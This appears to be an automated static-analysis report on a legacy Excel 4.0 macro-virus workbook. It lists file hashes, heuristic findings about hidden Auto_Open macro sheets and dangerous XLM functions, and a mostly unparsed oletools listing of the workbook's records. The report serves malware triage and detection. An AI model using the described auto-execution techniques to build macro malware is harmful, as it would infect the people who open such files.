Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16c2940bf6bb45e1…

MALICIOUS

Office (OLE)

29.5 KB Created: 2008-11-30 14:43:52 Authoring application: Microsoft Excel First seen: 2012-07-06
MD5: 42303bfa7dbb7cc7b09ec46cb46e142a SHA-1: 2927f29e43e16aba9ec6b974110e1c61954409ce SHA-256: 16c2940bf6bb45e1733f387ca86cd47aabd8f74ee6d81518323affd53e865adb
260 Risk Score

Heuristics 5

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Legacy XLM macro-virus family marker critical OLE_XLM_LEGACY_MACRO_VIRUS
    Workbook contains an Excel 4.0 macro sheet and legacy macro-virus family or workbook-replication strings. This is a narrow indicator for infected XLM workbooks rather than ordinary formula use.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 27273 bytes
SHA-256: c787f61929942bdf321193da940bd9a73445a928b43b3fb79cc162a13812d2f6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     30 LABEL : Cell Value, String Constant -  ½ len=11 *UNKNOWN TOKEN* 0x00ac *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x9c\xcc;\x06\x00\x00\x01\x06\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ½¬ len=11 *UNKNOWN TOKEN* 0x009c *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xcc\x08\xcd;\x06\x00\x00\x01\x06\x01'
' 0018     30 LABEL : Cell Value, String Constant -  Ä len=11 *UNKNOWN TOKEN* 0x00ac *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xe1\xb8;\x06\x00\xf9\x00\xff\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  Ĭ len=11 *UNKNOWN TOKEN* 0x00e1 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb8\x08\xcd;\x06\x00\xf9\x00\xff\x00'
' 0018     30 LABEL : Cell Value, String Constant -  P len=11 *UNKNOWN TOKEN* 0x00ad *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x10\xac;\x01\x00\x1c\x00B\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  P­ len=11 ptgUnion  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xac1\x00;\x01\x00\x1c\x00B\x00'
' 0018     30 LABEL : Cell Value, String Constant -  P len=11 *UNKNOWN TOKEN* 0x00ad *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd9\xb3;\x06\x00\xa4\x00\xb5\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  P­ len=11 *UNKNOWN TOKEN* 0x00d9 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb3\x08\xcd;\x06\x00\xa4\x00\xb5\x00'
' 0018     30 LABEL : Cell Value, String Constant -  P len=11 *UNKNOWN TOKEN* 0x00ad *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xac\xc0;\x03\x00*\x00\xb9\x01\x03'
' 0018     32 LABEL : Cell Value, String Constant -  P­ len=11 *UNKNOWN TOKEN* 0x00ac *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc01\x00;\x03\x00*\x00\xb9\x01'
' 0018     30 LABEL : Cell Value, String Constant -  P len=11 *UNKNOWN TOKEN* 0x00ad *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xa5\xc7;\x00\x00\x1c\x00C\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  P­ len=11 *UNKNOWN TOKEN* 0x00a5 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc71\x00;\x00\x00\x1c\x00C\x00'
' 0018     30 LABEL : Cell Value, String Constant -  l len=11 *UNKNOWN TOKEN* 0x00ad *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb0\xc0;\x06\x00\xa9\x01\xaf\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  l­ len=11 *UNKNOWN TOKEN* 0x00b0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc0\x08\xcd;\x06\x00\xa9\x01\xaf\x01'
' 0018     30 LABEL : Cell Value, String Constant -  À len=11 *UNKNOWN TOKEN* 0x00ad *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb0\xc0;\x06\x00c\x01i\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  À­ len=11 *UNKNOWN TOKEN* 0x00b0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc0\x08\xcd;\x06\x00c\x01i\x01'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00ae *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'Y\xd5;\x06\x00S\x00Y\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -   ® len=11 ptgNameXV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd5\x08\xcd;\x06\x00S\x00Y\x00'
' 0018     30 LABEL : Cell Value, String Constant -  ù len=11 *UNKNOWN TOKEN* 0x00b2 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'T\xc5;\x06\x00/\x015\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ù² len=11 *UNKNOWN TOKEN* 0x0054 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\x08\xcd;\x06\x00/\x015\x01'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00b3 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xe1\xb8;\x06\x00\x8a\x01\x90\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -   ³ len=11 *UNKNOWN TOKEN* 0x00e1 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb8\x08\xcd;\x06\x00\x8a\x01\x90\x01'
' 0018     30 LABEL : Cell Value, String Constant -  U len=11 *UNKNOWN TOKEN* 0x00b3 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'T\xc5;\x06\x00\xa2\x01\xa8\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  U³ len=11 *UNKNOWN TOKEN* 0x0054 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\x08\xcd;\x06\x00\xa2\x01\xa8\x01'
' 0018     30 LABEL : Cell Value, String Constant -  È len=11 *UNKNOWN TOKEN* 0x00b9 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xe1\xac;\x06\x00|\x01\x82\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ȹ len=11 *UNKNOWN TOKEN* 0x00e1 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xac\x08\xcd;\x06\x00|\x01\x82\x01'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00bc *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xec\xd3;\x06\x00\x12\x01\x1a\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -   ¼ len=11 *UNKNOWN TOKEN* 0x00ec *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd3\x08\xcd;\x06\x00\x12\x01\x1a\x01'
' 0018     30 LABEL : Cell Value, String Constant -  ô len=11 *UNKNOWN TOKEN* 0x00bc *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b't\xac;\x04\x00\x1c\x005\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ô¼ len=11 *UNKNOWN TOKEN* 0x0074 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xac1\x00;\x04\x00\x1c\x005\x00'
' 0018     34 LABEL : Cell Value, String Constant -  ô¼t len=11 *UNKNOWN TOKEN* 0x00ac *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1c\xc8x\xc6;\x04\x00\x15\x00\x17'
' 0018     30 LABEL : Cell Value, String Constant -  ô len=11 *UNKNOWN TOKEN* 0x00bc *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xe1\xb8;\x06\x00q\x01t\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ô¼ len=11 *UNKNOWN TOKEN* 0x00e1 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb8\x08\xcd;\x06\x00q\x01t\x01'
' 0018     30 LABEL : Cell Value, String Constant -  õ len=11 *UNKNOWN TOKEN* 0x00bc *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xe1\xb8;\x06\x00\xe6\x00\xea\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  õ¼ len=11 *UNKNOWN TOKEN* 0x00e1 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb8\x08\xcd;\x06\x00\xe6\x00\xea\x00'
' 0018     30 LABEL : Cell Value, String Constant -  	 len=11 *UNKNOWN TOKEN* 0x00bd *INCOMPLETE FORMULA PARSING* Could contain following functions: EXEC - Remaining, unparsed expression: b'i\xd6;\x06\x00`\x00n\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  	½ len=11 ptgMemFuncA  *INCOMPLETE FORMULA PARSING* Could contain following functions: EXEC - Remaining, unparsed expression: b'\xd6\x08\xcd;\x06\x00`\x00n\x00'
' 0018     30 LABEL : Cell Value, String Constant -  Á len=11 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1c\xc1;\x06\x00j\x01p\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ÁÀ len=11 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc1\x08\xcd;\x06\x00j\x01p\x01'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00c1 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xa1\xc1;\x06\x00O\x01U\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -   Á len=11 *UNKNOWN TOKEN* 0x00a1 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc1\x08\xcd;\x06\x00O\x01U\x01'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00c2 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\xcd;\x06\x00B\x01G\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -   Â len=11 ptgGE *UNKNOWN TOKEN* 0x00cd *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\xcd;\x06\x00B\x01G\x01'
' 0018     30 LABEL : Cell Value, String Constant -  à len=11 *UNKNOWN TOKEN* 0x00c2 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\xad;\x06\x00u\x00\xa3\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  à len=11 *UNKNOWN TOKEN* 0x0000 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xad\x08\xcd;\x06\x00u\x00\xa3\x00'
' 0018     30 LABEL : Cell Value, String Constant -  à len=11 *UNKNOWN TOKEN* 0x00c2 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd4\xc6;\x06\x00\xb6\x00\xde\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  à len=11 *UNKNOWN TOKEN* 0x00d4 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc6\x08\xcd;\x06\x00\xb6\x00\xde\x00'
' 0018     30 LABEL : Cell Value, String Constant -  à len=11 *UNKNOWN TOKEN* 0x00c2 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x8d\xd4;\x06\x00\x83\x01\x89\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  à len=11 *UNKNOWN TOKEN* 0x008d *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd4\x08\xcd;\x06\x00\x83\x01\x89\x01'
' 0018     30 LABEL : Cell Value, String Constant -  U len=11 *UNKNOWN TOKEN* 0x00c6 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'e\xd7;\x06\x00\x07\x01\n\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  UÆ len=11 ptgAreaA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd7\x08\xcd;\x06\x00\x07\x01\n\x01'
' 0018     30 LABEL : Cell Value, String Constant -  ° len=11 *UNKNOWN TOKEN* 0x00c6 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'1\xc1;\x06\x00]\x01b\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  °Æ len=11 *UNKNOWN TOKEN* 0x0031 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc1\x08\xcd;\x06\x00]\x01b\x01'
' 0018     30 LABEL : Cell Value, String Constant -  Ô len=11 *UNKNOWN TOKEN* 0x00c6 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb0\xc0;\x06\x00V\x01\\\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ÔÆ len=11 *UNKNOWN TOKEN* 0x00b0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc0\x08\xcd;\x06\x00V\x01\\\x01'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00c7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'l\xad;\x06\x00\x91\x01\xa1\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -   Ç len=11 ptgRefNA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xad\x08\xcd;\x06\x00\x91\x01\xa1\x01'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00c7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'X\xce;\x05\x00\x1e\x00J\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -   Ç len=11 ptgFuncCEV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xce1\x00;\x05\x00\x1e\x00K\x00'
' 0018     30 LABEL : Cell Value, String Constant -  X len=11 *UNKNOWN TOKEN* 0x00c7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xf9\xb2;\x06\x006\x01:\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  XÇ len=11 *UNKNOWN TOKEN* 0x00f9 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb2\x08\xcd;\x06\x006\x01:\x01'
' 0018     30 LABEL : Cell Value, String Constant -  X len=11 *UNKNOWN TOKEN* 0x00c7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x91\xb7;\x06\x00;\x01A\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  XÇ len=11 *UNKNOWN TOKEN* 0x0091 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb7\x08\xcd;\x06\x00;\x01A\x01'
' 0018     30 LABEL : Cell Value, String Constant -  t len=11 *UNKNOWN TOKEN* 0x00c7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'x\xc7;\x06\x00\xdf\x00\xe5\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  tÇ len=11 ptgFuncCEA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc7\x08\xcd;\x06\x00\xdf\x00\xe5\x00'
' 0018     30 LABEL : Cell Value, String Constant -  ¥ len=11 *UNKNOWN TOKEN* 0x00c7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'0\xae;\x06\x00"\x01.\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ¥Ç len=11 *UNKNOWN TOKEN* 0x0030 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xae\x08\xcd;\x06\x00"\x01.\x01'
' 0018     30 LABEL : Cell Value, String Constant -  ¥ len=11 *UNKNOWN TOKEN* 0x00c7 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'Y\xd5;\x02\x00\x1c\x00&\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ¥Ç len=11 ptgNameXV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd51\x00;\x02\x00\x1c\x00&\x00'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00c8 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'H\xc5;\x06\x00H\x01N\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -   È len=11 ptgMemNoMemV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\x08\xcd;\x06\x00H\x01N\x01'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00c8 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'x\xc6;\x03\x00\x15\x00%\x00\x03'
' 0018     30 LABEL : Cell Value, String Constant -  ü len=11 *UNKNOWN TOKEN* 0x00c8 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\xbd;\x06\x00\xeb\x00\xf0\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  üÈ len=11 ptgLT *UNKNOWN TOKEN* 0x00bd *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\xcd;\x06\x00\xeb\x00\xf0\x00'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00c9 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd9\xb3;\x06\x00*\x00R\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -   É len=11 *UNKNOWN TOKEN* 0x00d9 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xb3\x08\xcd;\x06\x00*\x00R\x00'
' 0018     30 LABEL : Cell Value, String Constant -    len=11 *UNKNOWN TOKEN* 0x00c9 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xa5\xc7;\x06\x00\x0b\x01\x11\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -   É len=11 *UNKNOWN TOKEN* 0x00a5 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc7\x08\xcd;\x06\x00\x0b\x01\x11\x01'
' 0018     30 LABEL : Cell Value, String Constant -  Ä len=11 *UNKNOWN TOKEN* 0x00d0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x9c\xcc;\x06\x00\xf1\x00\xf8\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ÄÐ len=11 *UNKNOWN TOKEN* 0x009c *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xcc\x08\xcd;\x06\x00\xf1\x00\xf8\x00'
' 0018     30 LABEL : Cell Value, String Constant -  Ü len=11 *UNKNOWN TOKEN* 0x00d0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\xbd;\x06\x00Z\x00_\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ÜÐ len=11 ptgLT *UNKNOWN TOKEN* 0x00bd *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\xcd;\x06\x00Z\x00_\x00'
' 0018     30 LABEL : Cell Value, String Constant -  Y len=11 *UNKNOWN TOKEN* 0x00d5 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\t\xbd;\x06\x00\x1b\x01!\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  YÕ len=11 ptgLT *UNKNOWN TOKEN* 0x00bd *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\xcd;\x06\x00\x1b\x01!\x01'
' 0018     30 LABEL : Cell Value, String Constant -  8 len=11 *UNKNOWN TOKEN* 0x00d6 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc4\xac;\x06\x00u\x01{\x01\x02'
' 0018     32 LABEL : Cell Value, String Constant -  8Ö len=11 *UNKNOWN TOKEN* 0x00c4 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xac\x08\xcd;\x06\x00u\x01{\x01'
' 0018     30 LABEL : Cell Value, String Constant -  ¨ len=11 *UNKNOWN TOKEN* 0x00d6 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xec\xd3;\x06\x00o\x00t\x00\x02'
' 0018     32 LABEL : Cell Value, String Constant -  ¨Ö len=11 *UNKNOWN TOKEN* 0x00ec *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xd3\x08\xcd;\x06\x00o\x00t\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 7!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 7!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 7!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 7!C9 
' 0018     87 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\xc8\xef$\x01'
' 0018     49 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\xf4\xef$\x01'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x07\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 7!A15 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 7!A26 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 7!C39 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 7!C27 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sheet,J15,"",917.90062499999999090505
'  Sheet,L15,"",907.30062499999996816769
'  Sheet,J16,"",117.50000000000000000000
'  Sheet,L16,"",116.20000000000000284217
